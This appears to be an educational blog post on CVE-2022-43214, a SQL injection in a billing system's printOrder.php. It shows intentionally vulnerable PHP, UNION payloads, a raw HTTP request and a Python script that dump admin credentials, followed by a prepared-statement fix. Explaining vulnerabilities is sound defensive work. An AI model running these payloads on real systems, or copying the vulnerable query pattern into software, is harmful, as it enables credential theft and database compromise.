In today's world, web applications are everywhere—from small school projects to critical business environments. Unfortunately, many of these apps have security holes that can be catastrophic if exploited. Today, we're focusing on a real-world example: CVE-2022-43214, a dangerous SQL Injection vulnerability found in the popular Billing System Project v1.. We'll explain how it works, dig into technical details, and show a hands-on exploit so you learn to recognize and fix similar issues.

What Is CVE-2022-43214?

CVE-2022-43214 is the official identifier for a SQL injection issue in printOrder.php, a page that 📋 displays order information in Billing System Project v1.. The vulnerability comes from the developer's failure to properly sanitize the orderId parameter—meaning a hacker can manipulate the database just by tweaking the URL or sending a malicious request.

How Does the Vulnerability Work?

To understand this, let’s look at (simplified) code that’s typically found in vulnerable PHP applications:

<?php
// Vulnerable code in printOrder.php

include('db.php');
$orderId = $_GET['orderId'];
$query = "SELECT * FROM orders WHERE order_id = '$orderId'";
$result = mysqli_query($conn, $query);
$row = mysqli_fetch_assoc($result);

echo "Order Details: " . $row['details'];
?>

What’s the problem here?
The $orderId variable is pulled straight from the URL (GET parameter) and dropped directly into an SQL statement *without* any checks or escaping. SQL injection time!

Let’s say your target site has

http://victim-site.com/printOrder.php?orderId=123

If you substitute 123 with something like

123' OR '1'='1

The SQL query executed by the server becomes

SELECT * FROM orders WHERE order_id = '123' OR '1'='1'


This always returns all orders, because '1'='1' is always true.

2. Dumping Sensitive Data

An attacker can get creative. Suppose the code displays details for the first returned order, but you want the admin’s password.

Try:

printOrder.php?orderId=123' UNION SELECT null, username, password FROM admins--


This injects a new SQL statement to grab usernames and passwords!

3. Example of HTTP request (exploit in action)

GET /printOrder.php?orderId='+UNION+SELECT+1,username,password+FROM+admins+--+ HTTP/1.1
Host: victim-site.com

If the page shows the first row of the result, bam! The admin credentials are displayed.

Here’s a simple script to automate dumping the admins table

import requests

url = 'http://victim-site.com/printOrder.php';
payload = "' UNION SELECT 1,username,password FROM admins-- "
params = {'orderId': payload}

response = requests.get(url, params=params)
print(response.text)

Even run destructive commands if the database allows

With CVE-2022-43214, exploitation is dead simple. Automated attack tools like SQLmap could do it in minutes.

How To Fix (For Developers)

Always use prepared statements or ORM frameworks. Never trust user input.

Safe code example

$stmt = $conn->prepare('SELECT * FROM orders WHERE order_id = ?');
$stmt->bind_param('i', $_GET['orderId']);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();

Learn More

- NVD Entry for CVE-2022-43214
- OWASP SQL Injection Cheat Sheet
- Billing System Project - Vulnerable Code Example

Conclusion

CVE-2022-43214 is a prime example of how simple mistakes—like not validating input—can put your entire project and business at risk. By learning from real-world examples like this, you can build safer web apps and recognize the signs of vulnerabilities before hackers do.

Timeline

Published on: 11/22/2022 01:15:00 UTC
Last modified on: 11/23/2022 14:57:00 UTC